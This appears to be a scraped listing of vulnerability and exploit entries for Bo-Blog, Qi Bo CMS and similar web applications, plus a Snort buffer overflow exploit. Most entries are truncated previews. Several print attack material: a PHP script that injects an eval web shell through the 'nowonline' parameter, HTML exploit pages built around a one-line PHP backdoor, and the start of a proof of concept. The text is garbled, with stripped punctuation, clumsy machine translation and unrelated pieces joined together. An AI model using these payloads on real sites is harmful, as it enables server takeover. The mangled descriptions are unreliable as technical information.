CVE-2011-1064

CVE-2011-1064 involves a SQL injection in the Qi Bo CMS 7, specifically in member/list.php. The vulnerability is triggered via the aidDB[] parameter, allowing remote attackers to execute arbitrary SQL commands. This is a root-cause-driven issue in the application’s handling of user-supplied input...

CVE-2011-1064

SQL injection vulnerability in member/list.php in qibosoft Qi Bo CMS 7 allows remote attackers to execute arbitrary SQL commands via the aidDB parameter...

bo-blog upload vulnerability-vulnerability warning-the black bar safety net

| Attention to the following recent of several large cattle site was hacked the message, The know with bo-blog, just under the sleeve 2. 1. 1 See, found a point problem. This program and F2blog the presence of the same upload bug, just use the hard point, to a certain permissions. But the...

Hui-Bo Shopping Mall system V6. 0 injection vulnerability analysis-vulnerability warning-the black bar safety net

Published:2010-09-23 Affected version:Hui-Bo Shopping Mall system V6. 0 Vulnerability description: injection vulnerability Publishing author: m4r10 reproduced please indicate the copyright Vulnerability analysis:productinc. asp, checkSQL. asp productinc. asp: Id = TrimRequest. QueryString"id" If...

Security Wei Bo imitation Taobao multi-user Mall program v7. 2 vulnerability-vulnerability warning-the black bar safety net

==Estimation of many a fancy to Taobao guest number of procedures. A relatively simple system. Program all types of variables are character type, use the Password = replacerequest. form"password","'","" a similar such statement to filter single quotes, and don't know which bit of large cattle hav...

Bo-Blog 2.0.3 mod_tag.php SQL注入漏洞

No description provided by source...

Bo-Blog 2.1.0 realplay.php 跨站脚本攻击漏洞

No description provided by source...

Bo-Blog 2.0.3 whizzylink.php 文件信息泄露漏洞

No description provided by source...

Bo-Blog 2.1.1 Command Execution

Securitylab.ir Application Info: Name: bo-blog Version: 2.1.1 Download: http://www.bo-blog.com/download/release/Bo-blogV2.1.1.tar.gz Discoverd By: Securitylab.ir Website: http://securitylab.ir Contacts: adminatsecuritylab.ir & info@securitylabdotir Vulnerability Info: Type: Remote Command Executi...

Bo-Blog 2.0.3 background plug horse execute arbitrary commands vulnerability-vulnerability warning-the black bar safety net

| Article source: &&www.slenk.net Article author: lone water around the city Today analyzed under the Bo-Blog 2.0.3 of the code, The event is by this version of the Flyh4t big cow release of a known injection vulnerability. Into the backend crunching for half a day, and looked under the code,...

Bo-Blog 2.0.3 mod_tag.php注射漏洞

No description provided by source...

Bo-blogV2.1.0 跨站漏洞

文件\inc\realplay.php 这个小bug有点搞笑 ?php echo getmagicquotesgpc ? stripslashes$GET'link' : $GET'link'; ? Bo-blog V2.1.0 暂无 !/usr/bin/env python coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register import requests ''' 原始利用链接：...

Bo-blog跨站漏洞

看下ubb.php的代码： br / br / $regubbsearch = arraybr / .......br / "/\color=^\+?.+?\/color/i",br / "/\font=^\+?.+?\/font/i",br / ....... br / ;br / $regubbreplace = arraybr / ....... br / "span style="color: \2\1;"\2/span",br / "span style="font-family: \2\1;"\2/span",br / ....... br /...

Bo-blog文件包含漏洞

Bo-blog程序在程序逻辑方面没有处理存在本地文件包含漏洞，在Php5.0可能导致敏感信息泄露以及Php代码执行，在Php5.0直接导致远程代码执行。 Bo-Blog 2.0.1 SP1 http://bo-blog.com/ 临时解决方案 修改Php设置registerglobals = Off，可以暂时避免受此漏洞影响。...

bo-blog2.0.3文件浏览漏洞

O-blog2.0.3的编辑器存在一个文件浏览漏洞,存在漏洞文件在于whizzylink.php和whizzypic.php,不过前一个可以浏览任意文件和目录,后一个只能浏览目录和图片,并能查看图片br / br / $docpath = $REQUEST'd';br / $extensions = $REQUEST'x' ? '/' . $REQUEST'x' .'$/i' : '/.html|pdf|txt$/i';br / $d = $SERVER'DOCUMENTROOT' . '/' . $docpath;br / $d = strreplace'//','/',$d;br /...

BO-BLOG vulnerability to submit 1 sentence horse tool[html]-vulnerability warning-the black bar safety net

Belongs to type:Web Apps The following proceduresmethodsmay carry offensive,for security research and teaching purposes. At your own risk! Code ! DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" HTMLHEADTITLEThe Csript For The "? php eval$POSTcmd?& gt;" /TITLE META...

Exp of Bo-BlogV2.0.2sp2

No description provided by source. br / !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"br / HTMLHEADTITLEThe Csript For The "?php eval$POSTcmd?" /TITLEbr / META http-equiv=Content-Type content="text/html; charset=gb2312"br / META content="MSHTML 6.00.2800.1479" name=GENERATOR/HEADbr ...

Exploit For Last Bo-blog version

No description provided by source. ? iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; $data ='nowonline=?php @eval$REQUESTorz;echo orz;die;?&1468108794=orz&-1844564458=orz'; $server =$argv1; $sitepath =$argv2; if$argc!=3 hr; echo" Uaget: boblog.php www.defence80.com /blog/\r\n"; echo" ...

Php5 GPC bypass flaw-vulnerability warning-the black bar safety net

In the discussion of specific defects before we start to learn a little about php security aspect of small things. magicquotesgpc option is php one of the important security settings, when the option is ON that is open at the time, all from GET, POST, COOKie is passed over the data in the'," and,...

Snort <= 2.4.2 Back Orifice Parsing Remote Buffer Overflow Exploit

Exploit for linux platform in category remote exploits ================================================================== Snort $Id: THCsnortbo.c,v 1.1 2005/10/24 11:38:59 thccvs Exp $ / / DETAILS The bug is in sppbo.c, BoGetDirection function static int BoGetDirectionPacket p, char pktdata uint3...